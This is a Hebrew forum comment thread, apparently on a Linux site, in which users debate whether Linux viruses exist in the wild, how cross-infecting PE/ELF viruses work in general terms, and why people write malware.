אם תבחן את המזיקים הנפוצים כיום תחת חלונות, תגלה שרובם מסתמכים על הטעיה של המשתמשים. יש כאן עדיין יתרון ללינוקס על פני חלונות אך הוא קטן בהרבה מאשר בעבר.

הוספת תגובה      

יש וירוסים ללינוקס, אבל אין וירוסים בלינוקס עודד 01/01/1970 00:00:00
הסבר - יש כ-20 וירוסים שונים שיכולים להדביק מערכות הפעלה לינוקס (פעם אחרונה שבדקתי, לפני כשנה, לא כולל ואריאנטים שונים של אותו וירוס), אבל אף אחד מהם לא התגלה אי פעם מדביק מערכת לינוקס פעילה בעולם (מה שנקרא באנגלית in the wild, להבדיל מבתנאי מעבדה).

נכון שיש וירוסים שמדביקים *גם* לינוקס שהתגלו "בטבע": אלו וירוסים מסוג cross-infector שמסוגלים להדביק גם ישומי חלונות וגם ישומי לינוקס (בד"כ על ידי כך שהמטעד של הוירוס מכיל בעצם שני וירוסים שונים - אחד שמדביק קבצי PE ואחד שמדביק קבצי ELF, והם סוחבים אחד את השני). וירוסים כאלה התגלו רק על מחשבי חלונות.

הוספת תגובה      

בקיצור אין וירוסים אורי עידן 01/01/1970 00:00:00
יש נסיונות לוירוסים.
אבל אף אחד מהם לא ממש הצליח.


הוספת תגובה      

אם יש אז למה לא ראיתי למרות שחיפשתי? אורי עידן 01/01/1970 00:00:00
נכון הוירוסים מסתמכים על הטעייה של המשתמשים כדי להכנס.
אבל כאן היתרון של לינוקס, צריך לעבוד יותר קשה על המשתמש כי הוא צריך להיות הרבה יותר פעיל כדי להפעיל את הוירוס.

אז נניח שהצלחנו והמשתמש האידיוט הפעיל את הוירוס.
מה הלאה? כיצד הוא בדיוק מפיץ את עצמו?
כי אם הוא לא מפיץ את עצמו זה לא וירוס כי אם פריצה למחשב וזה לצערינו אפשר בכל מערכת הפעלה.

גם כאשר הוירוס נכנס, השאלה איזה נזק הוא יכול לעשות, רק אם שכנעת את המשתמש להפעיל אותו בהרשאות rooot הוא יכול לעשות נזק רב באמת.

למה אתה אומר שהיתרון של לינוקס על פני חלונות קטן מבעבר?
למיטב ידיעתי מיקרוסופט לא סוגרים את הפער ולדעתי לא יכולים לסגור כי התכנון המקורי של חלונות הוא בעייתי.


הוספת תגובה      

האם יש באפשרותך לעדכן אותי על כתבתך על הווירוסים. meiro5151 01/01/1970 00:00:00
א.נ.
שלום רב!
קראתי בעיון את כתבתך על הווירוסים,עדין לא הבנתי מי הוא זה שמעונין להפיץ את הווירוסים,ואיזה מוטיבציה עומדת מאחרי כל הפצה שכזאת,האם בתחילת עידן מערכות ההפעלה,לא היו קימים ווירוסים?
בתודה קוטב מאיר.

הוספת תגובה      

למה יש וירוסים? אורי עידן 01/01/1970 00:00:00
האמת שלשאלה הזו אין לי תשובה.
לא ברורה לי המוטיווציה של אנשים להרוס. אבל מה לעשות, את הרצון להרוס אנו רואים בכל תחום, לא רק במחשבים.

לגבי האם היו קיימים או לא, לפני עידן מערכת ההפעלה חלונות ואו DOS לא היו למיטב ידיעתי וירוסים, משום שלפני כן או שמחשבים לא היו מחוברים לרשת או שהריצו מערכות הפעלה כמו יוניקס או ותיקות יותר.

הבעייה הגדולה של חלונות היא שהיא עד היום בנויה כמערכת של משתמש אחד שהוסבה להיות מערכת רבת משתמשים ולכן קשיי האבטחה שלה. אי אפשר להפוך אותה לבטוחה אלא אם כן בונים מחדש את כל התפיסה שמאחוריה ואת זה מיקרוסופט לא יכולים כי הם לא רוצים עד כדי כך לשבור תאימות אחורה.

בלינוקס הבעייה הזו לא קיימת, לינוקס בנויה אחרת מלכתחילה.


הוספת תגובה      

כל הכבוד להסבר הממצה meiro5151 01/01/1970 00:00:00
עד כה לא הבנתי כיצד יש לגורמים מסויימים את הרצון לפגוע בזולתם,כרגע נפל האסימון!

הוספת תגובה      

תודה אורי עידן 01/01/1970 00:00:00
אבל לא הבנתי מה הקשר לרצון של גורמים מסויימים לפגוע בזולתם.
האמת שגם אני לא מבין מדוע אנשים רוצים לפגוע סתם כך באנשים שלא קשורים אליהם.


הוספת תגובה      

הוסף תגובה

שם:
דואר אלקטרוני: חובה, לא יוצג
אתר אינטרנט:
כותרת:
תוכן:
שלח מייל בתגובה להודעה